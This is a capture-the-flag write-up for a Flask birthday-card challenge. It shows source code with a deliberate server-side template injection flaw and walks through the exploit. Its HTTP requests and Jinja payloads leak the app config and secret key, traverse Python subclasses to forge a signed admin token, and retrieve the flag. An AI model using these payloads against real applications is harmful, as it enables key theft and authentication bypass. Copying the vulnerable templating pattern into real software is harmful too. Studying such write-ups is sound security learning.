๐ Introduction
The website consists of a single page for generating birthday cards. It features a form with 4 fields: sender
, recipient
, message
, and message_final
.
Upon submitting the form, a card is generated and displayed on the page with the entered values.
Context Explanation
We had access to the application’s source code, which is as follows:
from flask import Flask, request, jsonify, abort, render_template_string, session, redirect
import builtins as _b
import sys
import os
app = Flask(__name__)
app.secret_key = os.getenv("APP_SECRET_KEY", "default_app_secret")
env = app.jinja_env
KEY = os.getenv("APP_SECRET_KEY", "default_secret_key")
class validator:
def security():
return _b
def security1(a, b, c, d):
if 'validator' in a or 'validator' in b or 'validator' in c or 'validator' in d:
return False
elif 'os' in a or 'os' in b or 'os' in c or 'os' in d:
return False
else:
return True
def security2(a, b, c, d):
if len(a) <= 50 and len(b) <= 50 and len(c) <= 50 and len(d) <= 50:
return True
else :
return False
@app.route("/", methods=["GET", "POST"])
def personalized_card():
if request.method == "GET":
return """
<link rel="stylesheet" href="static/style.css">
<link href="https://fonts.googleapis.com/css?family=Poppins:300,400,600&display=swap" rel="stylesheet">
<div class="container">
<div class="card-generator">
<h1>Personalized Card Generator</h1>
<form action="/" method="POST">
<label for="sender">Sender's Name:</label>
<input type="text" id="sender" name="sender" placeholder="Your name" required maxlength="50">
<label for="recipient">Recipient's Name:</label>
<input type="text" id="recipient" name="recipient" placeholder="Recipient's name" required maxlength="50">
<label for="message">Message:</label>
<input type="text" id="message" name="message" placeholder="Your message" required maxlength="50">
<label for="message_final">Final Message:</label>
<input type="text" id="message_final" name="message_final" placeholder="Final words" required maxlength="50">
<button type="submit">Generate Card</button>
</form>
</div>
</div>
"""
elif request.method == "POST":
try:
recipient = request.form.get("recipient", "")
sender = request.form.get("sender", "")
message = request.form.get("message", "")
final_message = request.form.get("message_final", "")
if validator.security1(recipient, sender, message, final_message) and validator.security2(recipient, sender, message, final_message):
template = f"""
<link rel="stylesheet" href="static/style.css">
<link href="https://fonts.googleapis.com/css?family=Poppins:300,400,600&display=swap" rel="stylesheet">
<div class="container">
<div class="card-preview">
<h1>Your Personalized Card</h1>
<div class="card">
<h2>From: {sender}</h2>
<h2>To: {recipient}</h2>
<p>{message}</p>
<h1>{final_message}</h1>
</div>
<a class="new-card-link" href="/">Create Another Card</a>
</div>
</div>
"""
else:
template="Either the recipient, sender, or message input is more than 50 letters"
app.jinja_env = env
app.jinja_env.globals.update({
'validator': validator()
})
return render_template_string(template)
except Exception as e:
return f"""
<link rel="stylesheet" href="static/style.css">
<div>
<h1>Error: {str(e)}</h1>
<br>
<p>Please try again. <a href="/">Back to Card Generator</a></p>
</div>
""", 400
@app.route("/debug/test", methods=["POST"])
def test_debug():
user = session.get("user")
host = request.headers.get("Host", "")
if host != "localhost:3030":
return "Access restricted to localhost:3030, this endpoint is only for development purposes", 403
if not user:
return "You must be logged in to test debugging.", 403
try:
raise ValueError(f"Debugging error: SECRET_KEY={KEY}")
except Exception as e:
return "Debugging error occurred.", 500
@app.route("/admin/report")
def admin_report():
auth_cookie = request.cookies.get("session")
if not auth_cookie:
abort(403, "Unauthorized access.")
try:
token, signature = auth_cookie.rsplit(".", 1)
from app.sign import initFn
signer = initFn(KEY)
sign_token_function = signer.get_signer()
valid_signature = sign_token_function(token)
if valid_signature != signature:
abort(403, f"Invalid token.")
if token == "admin":
return "Flag: p_ctf{redacted}"
else:
return "Access denied: admin only."
except Exception as e:
abort(403, f"Invalid token format: {e}")
@app.after_request
def clear_imports(response):
if 'app.sign' in sys.modules:
del sys.modules['app.sign']
if 'app.sign' in globals():
del globals()['app.sign']
return response
Directive
To be added soon.
๐ ๏ธ Solution
After analyzing the code, the vulnerability appears to be a Server-Side Template Injection (SSTI) in the form fields.
template = f"""
<link rel="stylesheet" href="static/style.css">
<link href="https://fonts.googleapis.com/css?family=Poppins:300,400,600&display=swap" rel="stylesheet">
<div class="container">
<div class="card-preview">
<h1>Your Personalized Card</h1>
<div class="card">
<h2>From: {sender}</h2>
<h2>To: {recipient}</h2>
<p>{message}</p>
<h1>{final_message}</h1>
</div>
<a class="new-card-link" href="/">Create Another Card</a>
</div>
</div>
"""
However, there are restrictions on the length of the fields and their contents. To retrieve the flag, we need to call the /admin/report
route with a valid admin token.
The controls are as follows:
class validator:
def security():
return _b
def security1(a, b, c, d):
if 'validator' in a or 'validator' in b or 'validator' in c or 'validator' in d:
return False
elif 'os' in a or 'os' in b or 'os' in c or 'os' in d:
return False
else:
return True
def security2(a, b, c, d):
if len(a) <= 50 and len(b) <= 50 and len(c) <= 50 and len(d) <= 50:
return True
else :
return False
In summary, the controls are:
- Fields must not contain the words
validator
oros
. - Fields must not exceed 50 characters.
To exploit the SSTI while bypassing the controls, we retrieved the secret key by reading the application’s config.
Retrieving the Secret Key
POST / HTTP/2
Host: birthday.ctf.prgy.in
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
sender={{config}}&message=msg&message_final=msg_fin
<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': 'dsbfeif3uwf6bes878hgi', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'KEY': 'dsbfeif3uwf6bes878hgi'}>
We read the KEY
entry, which is the application’s secret key: 'KEY': 'dsbfeif3uwf6bes878hgi'
.
Creating a Signed Token
To sign a token with this key, we used a library available within the application via a HiddenClass
that requires a key in its constructor and contains the _sign_token("value")
method.
POST / HTTP/2
Host: birthday.ctf.prgy.in
Content-Length: 152
Content-Type: application/x-www-form-urlencoded
sender={%set p = ''.__class__.__mro__[1].__subclasses__%}&message={% set d = p()[-2]('dsbfeif3uwf6bes878hgi')%}&message_final={{d._sign_token("admin")}}
Payload Explanation
{%set p = ''.__class__.__mro__[1].__subclasses__%}
This payload sets the variable p
to the list of subclasses of the base class.
''.__class__.__mro__[1].__subclasses__
retrieves the list of subclasses of the base class (str in this case).
{% set d = p()[-2]('dsbfeif3uwf6bes878hgi')%}
This payload sets the variable d
to an instance of HiddenClass
in the list p
, initialized with the secret key dsbfeif3uwf6bes878hgi
.
p()[-2]('dsbfeif3uwf6bes878hgi')
creates an instance of HiddenClass
with the provided secret key.
{{d._sign_token("admin")}}
This payload uses the instance d
to call the _sign_token
method with the argument admin
, effectively generating a signed token with the value admin
.
{{d._sign_token("admin")}}
renders the result of the _sign_token
method call, which is the signed token.
In the response, we retrieved the forged token in the message_final
field: admin.dc92ab47061ce7a0922596817589737de0b8dde08e7fbe6c7772ad5f87ea9f0b
.
Retrieving the Flag
We were able to retreive the flag by sending a request to the /admin/report
route with the forged token.
GET /admin/report HTTP/2
Host: birthday.ctf.prgy.in
Cookie: session=admin.dc92ab47061ce7a0922596817589737de0b8dde08e7fbe6c7772ad5f87ea9f0b
HTTP/2 200 OK
Server: gunicorn
Date: Fri, 07 Feb 2025 15:13:06 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 33
Flag: p_ctf{S3rVer_STI_G0es_hArd}